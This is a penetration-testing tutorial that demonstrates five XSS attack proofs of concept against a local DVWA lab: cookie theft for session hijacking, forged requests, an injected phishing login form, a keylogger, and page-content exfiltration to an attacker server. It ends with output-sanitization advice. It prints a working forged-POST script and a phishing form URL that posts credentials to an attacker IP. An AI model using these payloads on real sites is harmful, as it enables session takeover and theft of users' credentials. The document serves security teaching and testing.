Let’s explore a couple of practical attack scenarios that can be implemented as PoCs to prove the real risk of Cross-Site Scripting (XSS) vulnerabilities.
As a penetration tester, you want your customers to understand the risk of the vulnerabilities that you find. And the best way to do this is by creating a high-impact proof-of-concept (POC) in which you show how attackers can exploit the vulnerabilities and affect the business.
In this article, we will see how to create XSS attack PoCs in order to:
- Hijack a user’s session
- Perform unauthorized activities
- Perform phishing attacks
- Capture keystrokes
- Steal sensitive information
You can find more information about this vulnerability in OWASP’s Cross-Site Scripting page.
For demo purposes, we will use the well-known DVWA application, which we have installed locally.
The DVWA page
XSS Attack 1: Hijacking the user’s session
Most web applications maintain user sessions in order to identify the user across multiple HTTP requests. Sessions are identified by session cookies.
For example, after a successful login to an application, the server will send you a session cookie by the
Set-Cookie header. Now, if you want to access any page in the application or submit a form, the cookie (which is now stored in the browser) will also be included in all the requests sent to the server. This way, the server will know who you are.
Thus, session cookies are sensitive information which, if compromised, may allow an attacker to impersonate the legitimate user and gain access to his existing web session. This attack is called session hijacking.
document.cookie. So, if we inject the following payload into our name parameter, the vulnerable page will show the current cookie value in an alert box:
Now, in order to steal the cookies, we have to provide a payload which will send the cookie value to the attacker-controlled website.
The following payload creates a new Image object in the DOM of the current page and sets the src attribute to the attacker’s website. As a result, the browser will make an HTTP request to this external website (192.168.149.128) and the URL will contain the session cookie.
So here is the attack URL which will send the cookies to our server:
If we listen for an incoming connection on the attacker-controlled server (192.168.149.128), we can see an incoming request with cookie values (security and PHPSESSID) appended in the URL. The same information can be found in the access.log file on the server.
Using the stolen cookie
With the above cookie information, if we access any internal page of the application and append the cookie value in the request, we can access the page on behalf of the victim, in its own session (without knowing the username and password). Basically, we have hijacked the user’s session.
XSS Attack 2: Perform unauthorized activities
The following payload will do this by creating an XMLHTTPRequest object and setting the necessary header and data:
<script> var xhr = new XMLHttpRequest(); xhr.open('POST','http://localhost:81/DVWA/vulnerabilities/xss_s/',true); xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xhr.send('txtName=xss&mtxMessage=xss&btnSign=Sign+Guestbook'); </script>
This is how the request looks like in the browser and also intercepted in Burp.
The script on execution will generate a new request to add a comment on behalf of the user.
XSS Attack 3: Phishing to steal user credentials
XSS can also be used to inject a form into the vulnerable page and use this form to collect user credentials. This type of attack is called phishing.
The payload below will inject a form with the message Please login to proceed, along with username and password input fields.
When accessing the link below, the victim may enter its credentials in the injected form. Note that we can modify the payload to make it look like a legitimate form as per our need.
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
Once the user enters their credentials and clicks on the Logon button, the request is sent to the attacker-controlled server. The request can be seen in the screenshots below:
The credentials entered by the user (pentest: pentest) can be seen on the receiving server.
XSS Attack 4: Capture the keystrokes by injecting a keylogger
On every keypress, a new XMLHttp request is generated and sent towards the keylog.php page hosted at the attacker-controlled server. The code in keylog.php writes the value of the pressed keys into a file called data.txt.
Now we need to call the vulnerable page with the payload from our server:
Once the script is loaded on the page, a new request is fired with every stroke of any key.
The value of the parameter key is being written to the data.txt file, as shown in the screenshot below.
XSS Attack 5: Stealing sensitive information
Another malicious activity that can be performed with an XSS attack is stealing sensitive information from the user’s current session. Imagine that an internet banking application is vulnerable to XSS, the attacker could read the current balance, transaction information, personal data, etc.
Then we need to create a PHP file on the attacker’s server, which saves the content of the png parameter into the test.png file.
Another way to steal the page content would be to get the HTML source code by using getElementById. Here is a payload that gets the innerHTML of the guestbook_comments element and sends it to the attacker.
We can also fetch the entire page source of the page by using the following payload:
Decoding the received data in the Burp Decoder gives us the cleartext page source of the vulnerable page. Here, we can see the Guestbook comments.
Depending on the functionality and data processed by the vulnerable application, XSS vulnerabilities can pose a significant risk to the business. Attackers could steal confidential information, perform unauthorized activities and take over the entire web sessions of the victim users.
The best protection against this type of attack is output sanitization, meaning that any data received from the client-side should be sanitized before being returned to the response page. The sanitization is done by transforming the special HTML characters into their HTML entity equivalents, such as:
< ---> < > ---> > " ---> " ' ---> '
It is recommended to use the builtin functions of every programming language that are designed to do sanitization. For instance, in PHP you should use htmlentities.
More information about defending against XSS can be found in OWASP’s XSS Prevention Cheat Sheet.